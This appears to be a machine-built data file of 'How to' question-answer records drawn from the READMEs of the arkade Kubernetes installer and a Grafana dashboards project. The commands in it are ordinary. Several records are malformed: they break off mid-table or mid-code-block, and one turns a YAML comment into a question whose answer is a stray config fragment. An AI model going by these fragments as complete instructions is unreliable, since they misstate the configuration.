{"id": "gh_92b97a705778", "question": "How to: Create a Kubernetes cluster", "question_body": "About alexellis/arkade", "answer": "If you have Docker installed, then you can install Kubernetes using KinD in a matter of moments:\n\n```bash\narkade get kubectl@v1.22.0 \\\n  kind@v0.11.1\n\nkind create cluster\n```\n\nYou can also download k3d [k3s](https://github.com/rancher/k3s) in the same way with `arkade get k3d`.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588460"}
{"id": "gh_302ab2197c56", "question": "How to: Install a Kubernetes app", "question_body": "About alexellis/arkade", "answer": "No need to worry about whether you're installing to Intel or ARM architecture, the correct values will be set for you automatically.\n\n```bash\narkade install openfaas \\\n  --gateways 2 \\\n  --load-balancer false\n```\n\nThe post-installation message shows you how to connect. And whenever you want to see those details again, just run `arkade info openfaas`.\n\nThere are even more options you can choose with `arkade install openfaas --help` - the various flags you see map to settings from the helm chart README, that you'd usually have to look up and set via a `values.yaml` file.\n\nIf there's something missing from the list of flags that you need, arkade also supports `--set` for any arkade app that uses helm. Note that not every app uses helm.\n\nRemember how awkward it was last time you installed the [Kubernetes dashboard](https://github.com/kubernetes/dashboard)? And how you could never remember the command to get the token to log in?\n\n```bash\narkade install kubernetes-dashboard\n```\n\nForgot your token? `arkade info kubernetes-dashboard`\n\nThis is an example of an arkade app that uses static YAML manifests instead of helm.\n\nPrefer [Portainer](https://www.portainer.io)? Just run: `arkade install portainer`", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588467"}
{"id": "gh_8d3e0c389d51", "question": "How to: Uninstall an app", "question_body": "About alexellis/arkade", "answer": "Run `arkade uninstall` or `arkade delete` for more information on how to remove applications from a Kubernetes cluster.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588472"}
{"id": "gh_0e2d7d84f7f9", "question": "How to: Reduce the repetition", "question_body": "About alexellis/arkade", "answer": "[Normally up to a dozen commands](https://cert-manager.io/docs/installation/kubernetes/) (including finding and downloading helm), now just one. No searching for the correct CRD to apply, no trying to install helm, no trying to find the correct helm repo to add:\n\n```bash\narkade install cert-manager\n```\n\nOther common tools:\n\n```bash\narkade install ingress-nginx\n\narkade install metrics-server\n```", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588479"}
{"id": "gh_a99a8e47ddbb", "question": "How to: Say goodbye to values.yaml and hello to flags", "question_body": "About alexellis/arkade", "answer": "We use strongly typed Go CLI flags, so that you can run `--help` instead of trawling through countless Helm chart README files to find the correct `--set` combination for what you want.\n\n```bash\narkade install ingress-nginx --help\n\nInstall ingress-nginx. This app can be installed with Host networking for\ncases where an external LB is not available. please see the --host-mode\nflag and the ingress-nginx docs for more info\n\nUsage:\n  arkade install ingress-nginx [flags]\n\nAliases:\n  ingress-nginx, nginx-ingress\n\nExamples:\n  arkade install ingress-nginx --namespace default\n\nFlags:\n  -h, --help               help for ingress-nginx\n      --host-mode          If we should install ingress-nginx in host mode.\n  -n, --namespace string   The namespace used for installation (default \"default\")\n      --update-repo        Update the helm repo (default true)\n```", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588486"}
{"id": "gh_fa9fba7104ae", "question": "How to: Override with `--set`", "question_body": "About alexellis/arkade", "answer": "You can also set helm overrides, for apps which use helm via `--set`\n\n```bash\nark install openfaas --set faasIdler.dryRun=false\n```\n\nAfter installation, an info message will be printed with help for usage, you can get back to this at any time via:\n\n```bash\narkade info\n```", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588492"}
{"id": "gh_b634ebbe4984", "question": "How to: Compounding apps", "question_body": "About alexellis/arkade", "answer": "Apps are easier to discover and install than helm chart which involve many more manual steps, however when you compound apps together, they really save you time.\n\n#### Get a self-hosted TLS registry with authentication\n\nHere's how you can get a self-hosted Docker registry with TLS and authentication in just 5 commands on an empty cluster:\n\nHere's how you would bootstrap OpenFaaS with TLS:\n\n```bash\narkade install ingress-nginx\narkade install cert-manager\narkade install openfaas\narkade install openfaas-ingress \\\n  --email web@example.com \\\n  --domain openfaas.example.com\n```\n\nAnd here's what it looks like for a private Docker registry with authentication enabled:\n\n```bash\narkade install ingress-nginx\narkade install cert-manager\narkade install docker-registry\narkade install docker-registry-ingress \\\n  --email web@example.com \\\n  --domain reg.example.com\n```\n\n#### Get a public IP for a private cluster and your IngressController\n\nAnd if you're running on a private cloud, on-premises or on your laptop, you can simply add the [inlets-operator](https://github.com/inlets/inlets-operator/) using [inlets](https://docs.inlets.dev/) to get a secure TCP tunnel and a public IP address.\n\n```bash\narkade install inlets-operator \\\n  --access-token $HOME/digitalocean-token \\\n  --region lon1 \\\n  --provider digitalocean\n```\n\nThis makes your cluster behave like it was on a public cloud and LoadBalancer IPs go from Pending to a real, functioning IP.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588501"}
{"id": "gh_96c843fa3d40", "question": "How to: Explore the apps", "question_body": "About alexellis/arkade", "answer": "You can view the various apps available with `arkade install / --help`, more are available when you run the command yourself.\n\n```bash\narkade install --help\nark --help\n\nExamples:\n  arkade install\n  arkade install openfaas-ce --helm3 --gateways=2\n  arkade install inlets-operator --token-file $HOME/do-token\n```\n\nSee the full catalog of apps: [See all apps](#catalog-of-apps)", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588508"}
{"id": "gh_a2b29e46c9e1", "question": "How to: Tutorials & community blog posts", "question_body": "About alexellis/arkade", "answer": "#### Watch a video walk-through by Alex Ellis\n\n[![Install Apps and CLIs to Kubernetes](http://img.youtube.com/vi/8wU9s_mua8M/hqdefault.jpg)](https://www.youtube.com/watch?v=8wU9s_mua8M)\n\n#### Featured tutorials\n\n* [arkade by example — Kubernetes apps, the easy way 😎](https://medium.com/@alexellisuk/kubernetes-apps-the-easy-way-f06d9e5cad3c) - Alex Ellis\n* [Walk-through — install Kubernetes to your Raspberry Pi in 15 minutes](https://medium.com/@alexellisuk/walk-through-install-kubernetes-to-your-raspberry-pi-in-15-minutes-84a8492dc95a)\n* [Get a TLS-enabled Docker registry in 5 minutes](https://blog.alexellis.io/get-a-tls-enabled-docker-registry-in-5-minutes/) - Alex Ellis\n* [Get TLS for OpenFaaS the easy way with arkade](https://blog.alexellis.io/tls-the-easy-way-with-openfaas-and-k3sup/) - Alex Ellis\n\n#### Official blog posts\n\n* [Two year update: Building an Open Source Marketplace for Kubernetes](https://blog.alexellis.io/kubernetes-marketplace-two-year-update/)\n* [Why did the OpenFaaS community build arkade and what's in it for you?](https://www.openfaas.com/blog/openfaas-arkade/) - Alex Ellis\n\n#### Community posts\n\n* [A bit of Istio before tea-time](https://blog.alexellis.io/a-bit-of-istio-before-tea-time/) - Alex Ellis\n* [Kubernetes: Automatic Let's Encrypt Certificates for Services with arkade](https://medium.com/@admantium/kubernetes-automatic-lets-encrypt-certificates-for-services-2a5f4aa7f886)\n* [Introducing Arkade - The Kubernetes app installer](https://blog.heyal.co.uk/introducing-arkade/) - Alistair Hey\n* [Portainer for kubernetes in less than 60 seconds!!](https://www.portainer.io/2020/04/portainer-for-kubernetes-in-less-than-60-seconds/) - by Saiyam Pathak\n* [Video walk-through with DJ Adams - Pi & Kubernetes with k3s, k3sup, arkade and OpenFaaS](https://www.youtube.com/watch?v=ZiR3QEfBivk)\n* [Coffee chat: Easy way to install Kubernetes Apps - arkade (ark)](https://sachcode.com/tech/coffee-chat-easy-way-install-kubernetes-apps/) by Sachin Jha\n* [Arkade & OpenFaaS: serverless on the spot](https://zero2datadog.readthedocs.io/en/latest/faas.html) by Blaise Pabon\n* [\"Tool of the Day\" with Adrian Goins from Rancher Labs](https://youtu.be/IWtEtfpqoRg?t=1425)\n* [Third-party arkade-get feature for devcontainers](https://github.com/joebowbeer/devcontainers-features/blob/main/src/arkade-get/README.md) by Joe Bowbeer", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588524"}
{"id": "gh_772a73ab570d", "question": "How to: Suggest a new app", "question_body": "About alexellis/arkade", "answer": "To suggest a new app, please check past issues and [raise an issue for it](https://github.com/alexellis/arkade). Think also whether your app suggestion would be a good candidate for a Sponsored App.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588529"}
{"id": "gh_d773c9752df2", "question": "How to: Sponsored apps", "question_body": "About alexellis/arkade", "answer": "You can now propose your project or product as a Sponsored App. Sponsored Apps work just like any other app that we've curated, however they will have a note next to them in the app description `(sponsored)` and a link to your chosen site upon installation. An app sponsorship can be purchased for a minimum of 12 months and includes free development of the Sponsored App, with ongoing support via GitHub for the Sponsored App for the duration only. Ongoing support will be limited to a set amount of hours per month.\n\nWhen your sponsorship expires the Sponsored App will be removed from arkade, and the ongoing support will cease. A Sponsored App can be renewed 60 days prior to expiration subject to a separate agreement and payment.\n\nExample:\n\n```bash\narkade VENDOR install PRODUCT\narkade acmeco install dashboard\n```\n\n[Contact OpenFaas Ltd](mailto:contact@openfaas.com) to find out how you can have your Sponsored App added to arkade.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588535"}
{"id": "gh_f39f1dda2f72", "question": "How to: How does `arkade` compare to `helm`?", "question_body": "About alexellis/arkade", "answer": "In the same way that [brew](https://brew.sh) uses git and Makefiles to compile applications for your Mac, `arkade` uses upstream [helm](https://helm.sh) charts and `kubectl` to install applications to your Kubernetes cluster. arkade exposes strongly-typed flags for the various popular options for helm charts, and enables easier discovery through `arkade install --help` and `arkade install APP --help`.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588540"}
{"id": "gh_ce9a6a57fe51", "question": "How to: Is arkade suitable for production use?", "question_body": "About alexellis/arkade", "answer": "If you consider helm suitable, and `kubectl` then yes, arkade by definition uses those tools and the upstream artifacts of OSS projects.\n\nDo you want to run arkade in a CI or CD pipeline? Go ahead.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588545"}
{"id": "gh_9624eab59172", "question": "How to: What is in scope for `arkade get`?", "question_body": "About alexellis/arkade", "answer": "Generally speaking, tools that are used with the various arkade apps or with Kubernetes are in scope. If you want to propose a tool, raise a GitHub issue.\n\nWhat about package management? `arkade get` provides a faster alternative to package managers like `apt` and `brew`, you're free to use either or both at the same time.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588549"}
{"id": "gh_0bc909be07e9", "question": "How to: Automatic download of tools", "question_body": "About alexellis/arkade", "answer": "When required, tools, CLIs, and the helm binaries are downloaded and extracted to `$HOME/.arkade`.\n\nIf installing a tool which uses helm3, arkade will check for a cached version and use that, otherwise it will download it on demand.\n\nDid you accidentally run arkade as root? **Running as root is not required**, and will mean your KUBECONFIG environment variable will be ignored. You can revert this using [the notes on release 0.1.18](https://github.com/alexellis/arkade/releases/tag/0.1.8).", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588555"}
{"id": "gh_35deab504029", "question": "How to: Improving the code or fixing an issue", "question_body": "About alexellis/arkade", "answer": "Before contributing code, please see the [CONTRIBUTING guide](https://github.com/alexellis/arkade/blob/master/CONTRIBUTING.md). Note that arkade uses the same guide as [inlets.dev](https://inlets.dev/).\n\nBoth Issues and PRs have their own templates. Please fill out the whole template.\n\nAll commits must be signed-off as part of the [Developer Certificate of Origin (DCO)](https://developercertificate.org)", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588560"}
{"id": "gh_ab286f17e623", "question": "How to: Join us on Slack", "question_body": "About alexellis/arkade", "answer": "Join `#contributors` at [slack.openfaas.io](https://slack.openfaas.io)", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588564"}
{"id": "gh_2cd3a1b0f3f4", "question": "How to: Catalog of apps and CLIs", "question_body": "About alexellis/arkade", "answer": "An app is software or an add-on for your Kubernetes cluster.\n\nA CLI or \"tool\" is a command line tool that you run directly on your own workstation or a CI runner.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588569"}
{"id": "gh_c815ef7902a2", "question": "How to: Catalog of Apps", "question_body": "About alexellis/arkade", "answer": "|          TOOL           |                             DESCRIPTION                             |\n|-------------------------|---------------------------------------------------------------------|\n| argocd                  | Install argocd                                                      |\n| cassandra               | Install cassandra                                                   |\n| cert-manager            | Install cert-manager                                                |\n| chart                   | Install the specified helm chart                                    |\n| cockroachdb             | Install CockroachDB                                                 |\n| consul-connect          | Install Consul Service Mesh                                         |\n| cron-connector          | Install cron-connector for OpenFaaS                                 |\n| crossplane              | Install Crossplane                                                  |\n| docker-registry         | Install a community maintained Docker registry chart                |\n| docker-registry-ingress | Install registry ingress with TLS                                   |\n| falco                   | Install Falco                                                       |\n| gitea                   | Install gitea                                                       |\n| gitlab                  | Install GitLab                                                      |\n| grafana                 | Install grafana                                                     |\n| influxdb                | Install influxdb                                                    |\n| ingress-nginx           | Install ingress-nginx                                               |\n| inlets-operator         | Install inlets-operator                                             |\n| istio                   | Install istio                                                       |\n| jenkins                 | Install jenkins                                                     |\n| kafka                   | Install Confluent Platform Kafka                                    |\n| kafka-connector         | Install kafka-connector for OpenFaaS                                |\n| kong-ingress            | Install kong-ingress for OpenFaaS                                   |\n| kube-image-prefetch     | Install kube-image-prefetch                                         |\n| kube-state-metrics      | Install kube-state-metrics                                          |\n| kubernetes-dashboard    | Install kubernetes-dashboard                                        |\n| kuma                    | Install Kuma                                                        |\n| kyverno                 | Install Kyverno                                                     |\n| linkerd                 | Install linkerd                                                     |\n| loki                    | Install Loki for monitoring and tracing                             |\n| metallb-arp             | Install MetalLB in L2 (ARP) mode                                    |\n| metrics-server          | Install metrics-server                                              |\n| minio                   | Install minio                                                       |\n| mongodb                 | Install mongodb                                                     |\n| mqtt-connector          | Install mqtt-connector for OpenFaaS                                 |\n| nats-connector          | Install OpenFaaS connector for NATS                                 |\n| nfs-provisioner         | Install nfs subdir external provisioner                             |\n| opa-gatekeeper          | Install Open Policy Agent (OPA) Gatekeeper                          |\n| openfaas                | Install openfaas                                                    |\n| openfaas-ce             | Install openfaas-ce                                                 |\n| openfaas-ingress        | Install openfaas ingress with TLS                                   |\n| openfaas-loki           | Install Loki-OpenFaaS and Configure Loki logs provider for OpenFaaS |\n| portainer               | Install portainer to visualise and manage containers                |\n| postgresql              | Install postgresql                                                  |\n| prometheus              | Install Prometheus for monitoring                                   |\n| qemu-static             | Install qemu-user-static                                            |\n| rabbitmq                | Install rabbitmq                                                    |\n| redis                   | Install redis                                                       |\n| registry-creds          | Install registry-creds                                              |\n| sealed-secret           | Install sealed-secrets                                              |\n|", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588586"}
{"id": "gh_292218ce1594", "question": "How to: Catalog of CLIs", "question_body": "About alexellis/arkade", "answer": "|                                     TOOL                                     |                                                                            DESCRIPTION                                                                            |\n|------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| [age](https://github.com/FiloSottile/age)                                    | A simple, modern and secure file encryption tool.                      |\n| [actions-usage](https://github.com/self-actuated/actions-usage)              | Get usage insights from GitHub Actions.                                                                                                                           |\n| [actuated-cli](https://github.com/self-actuated/actuated-cli)                | Official CLI for actuated.dev                                                                                                                                     |\n| [alloy](https://github.com/grafana/alloy)                                    | OpenTelemetry Collector distribution with programmable pipelines                                                                                                  |\n| [argocd](https://github.com/argoproj/argo-cd)                                | Declarative, GitOps continuous delivery tool for Kubernetes.                                                                                                      |\n| [argocd-autopilot](https://github.com/argoproj-labs/argocd-autopilot)        | An opinionated way of installing Argo-CD and managing GitOps repositories.                                                                                        |\n| [arkade](https://github.com/alexellis/arkade)                                | Portable marketplace for downloading your favourite DevOps CLIs and installing helm charts, with a single command.                                                |\n| [atuin](https://github.com/atuinsh/atuin)                                    | Sync, search, and backup shell history with Atuin.                                                                                                                |\n| [autok3s](https://github.com/cnrancher/autok3s)                              | Run Rancher Lab's lightweight Kubernetes distribution k3s everywhere.                                                                                             |\n| [buildx](https://github.com/docker/buildx)                                   | Docker CLI plugin for extended build capabilities with BuildKit.                                                                                                  |\n| [bun](https://github.com/oven-sh/bun)                                        | Bun is an incredibly fast JavaScript runtime, bundler, transpiler, and package manager – all in one.                                                              |\n| [butane](https://github.com/coreos/butane)                                   | Translates human readable Butane Configs into machine readable Ignition Configs                                                                                   |\n| [caddy](https://github.com/caddyserver/caddy)                                | Caddy is an extensible server platform that uses TLS by default                                                                                                   |\n| [ch-remote](https://github.com/cloud-hypervisor/cloud-hypervisor)            | The ch-remote binary is used for controlling an running Virtual Machine.                                                                                          |\n| [cilium](https://github.com/cilium/cilium-cli)                               | CLI to install, manage & troubleshoot Kubernetes clusters running Cilium.                                                                                         |\n| [civo](https://github.com/civo/cli)                                          | CLI for interacting with your Civo resources.                                                                                                                     |\n| [cloud-hypervisor](https://github.com/cloud-hypervisor/cloud-hypervisor)     | Cloud Hypervisor is an open source Virtual Machine Monitor (VMM) that runs on top of the KVM hypervisor and the Microsoft Hypervisor (MSHV).                      |\n| [clusterawsadm](https://github.com/kubernetes-sigs/cluster-api-provider-aws) | Kubernetes Cluster API Provider AWS Management Utility                                                                                                            |\n| [clusterctl](https://github.com/kubernetes-sigs/cluster-api)                 | The clusterctl CLI tool handles the lifecycle of a Cluster API management cluster", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588700"}
{"id": "gh_960d1e6772b9", "question": "How to: Table of contents <!-- omit in toc -->", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "- [Description](#description)\n- [Releases](#releases)\n- [Features](#features)\n- [Dashboards](#dashboards)\n- [Installation](#installation)\n  - [Install manually](#install-manually)\n  - [Install via grafana.com](#install-via-grafanacom)\n  - [Install with ArgoCD](#install-with-argocd)\n  - [Install with Helm values](#install-with-helm-values)\n  - [Install as ConfigMaps](#install-as-configmaps)\n  - [Install as ConfigMaps with Terraform](#install-as-configmaps-with-terraform)\n  - [Install as GrafanaDashboard with Grafana Operator](#install-as-grafanadashboard-with-grafana-operator)\n- [Known issue(s)](#known-issues)\n  - [Broken panels due to a too-high resolution](#broken-panels-due-to-a-too-high-resolution)\n  - [Broken panels on k8s-views-nodes when a node changes its IP address](#broken-panels-on-k8s-views-nodes-when-a-node-changes-its-ip-address)\n  - [Broken panels on k8s-views-nodes due to the nodename label](#broken-panels-on-k8s-views-nodes-due-to-the-nodename-label)\n  - [Windows support](#windows-support)\n- [Contributing](#contributing)", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593192"}
{"id": "gh_257006b6bb5d", "question": "How to: Description", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "This repository contains a modern set of [Grafana](https://github.com/grafana/grafana) dashboards for [Kubernetes](https://github.com/kubernetes/kubernetes).\\\nThey are inspired by many other dashboards from `kubernetes-mixin` and `grafana.com`.\n\nMore information about them in my article: [A set of modern Grafana dashboards for Kubernetes](https://0xdc.me/blog/a-set-of-modern-grafana-dashboards-for-kubernetes/)\n\nYou can also download them on [Grafana.com](https://grafana.com/grafana/dashboards/?plcmt=top-nav&cta=downloads&search=dotdc).", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593209"}
{"id": "gh_e37bb61de4c5", "question": "How to: Dashboards", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "| File name                  | Description | Screenshot |\n|:---------------------------|:------------|:----------:|\n| k8s-addons-prometheus.json | Dashboard for Prometheus. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-addons-prometheus.png) |\n| k8s-addons-trivy-operator.json | Dashboard for the Trivy Operator from Aqua Security. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-addons-trivy-operator.png) |\n| k8s-system-api-server.json | Dashboard for the API Server Kubernetes component. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-system-api-server.png) |\n| k8s-system-coredns.json    | Show information on the CoreDNS Kubernetes component. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-system-coredns.png) |\n| k8s-views-global.json      | `Global` level view dashboard for Kubernetes. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-views-global.png) |\n| k8s-views-namespaces.json  | `Namespaces` level view dashboard for Kubernetes. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-views-namespaces.png) |\n| k8s-views-nodes.json       | `Nodes` level view dashboard for Kubernetes. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-views-nodes.png) |\n| k8s-views-pods.json        | `Pods` level view dashboard for Kubernetes. | [Screenshot](https://raw.githubusercontent.com/dotdc/media/main/grafana-dashboards-kubernetes/k8s-views-pods.png) |", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593220"}
{"id": "gh_48dd94020532", "question": "How to: Installation", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "In most cases, you will need to clone this repository (or your fork):\n\n```terminal\ngit clone https://github.com/dotdc/grafana-dashboards-kubernetes.git\ncd grafana-dashboards-kubernetes\n```\n\nIf you plan to deploy these dashboards using [ArgoCD](#install-with-argocd), [ConfigMaps](#install-as-configmaps) or [Terraform](#install-as-configmaps-with-terraform), you will also need to enable and configure the `dashboards sidecar` on the Grafana Helm chart to get the dashboards loaded in your Grafana instance:\n\n```yaml", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593227"}
{"id": "gh_1ce76b6ca6e2", "question": "How to: kube-prometheus-stack values", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "grafana:\n  sidecar:\n    dashboards:\n      enabled: true\n      defaultFolderName: \"General\"\n      label: grafana_dashboard\n      labelValue: \"1\"\n      folderAnnotation: grafana_folder\n      searchNamespace: ALL\n      provider:\n        foldersFromFilesStructure: true\n```", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593234"}
{"id": "gh_fe0713c5118c", "question": "How to: Install manually", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "On the WebUI of your Grafana instance, put your mouse over the `+` sign on the left menu, then click on `Import`.\\\nOnce you are on the Import page, you can upload the JSON files one by one from your local copy using the `Upload JSON file` button.", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593241"}
{"id": "gh_cc0cf1c79259", "question": "How to: Install via grafana.com", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "On the WebUI of your Grafana instance, put your mouse over the `+` sign on the left menu, then click on `Import`.\\\nOnce you are on the Import page, you can put the grafana.com dashboard ID (see table below) under `Import via grafana.com` then click on the `Load` button. Repeat for each dashboard.\n\nGrafana.com dashboard id list:\n\n| Dashboard                          | ID    |\n|:-----------------------------------|:------|\n| k8s-addons-prometheus.json         | 19105 |\n| k8s-addons-trivy-operator.json     | 16337 |\n| k8s-system-api-server.json         | 15761 |\n| k8s-system-coredns.json            | 15762 |\n| k8s-views-global.json              | 15757 |\n| k8s-views-namespaces.json          | 15758 |\n| k8s-views-nodes.json               | 15759 |\n| k8s-views-pods.json                | 15760 |", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593248"}
{"id": "gh_8f0e346324a7", "question": "How to: Install with ArgoCD", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "If you are using ArgoCD, this will deploy the dashboards in the default project of ArgoCD:\n\n```terminal\nkubectl apply -f argocd-app.yml\n```\n\nYou will also need to enable and configure the Grafana `dashboards sidecar` as described in [Installation](#installation).", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593254"}
{"id": "gh_80d8628ee33e", "question": "How to: Install with Helm values", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "If you use the official Grafana helm chart or kube-prometheus-stack, you can install the dashboards directly using the `dashboardProviders` & `dashboards` helm chart values.\n\nDepending on your setup, add or merge the following block example to your helm chart values.\\\nThe example is for [kube-prometheus-stack](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack), for the official [Grafana helm chart](https://github.com/grafana/helm-charts/tree/main/charts/grafana), remove the first line (`grafana:`), and reduce the indentation level of the entire block.\n\n```yaml\ngrafana:\n  # Provision grafana-dashboards-kubernetes\n  dashboardProviders:\n    dashboardproviders.yaml:\n      apiVersion: 1\n      providers:\n      - name: 'grafana-dashboards-kubernetes'\n        orgId: 1\n        folder: 'Kubernetes'\n        type: file\n        disableDeletion: true\n        editable: true\n        options:\n          path: /var/lib/grafana/dashboards/grafana-dashboards-kubernetes\n  dashboards:\n    grafana-dashboards-kubernetes:\n      k8s-system-api-server:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-system-api-server.json\n        token: ''\n      k8s-system-coredns:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-system-coredns.json\n        token: ''\n      k8s-views-global:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-global.json\n        token: 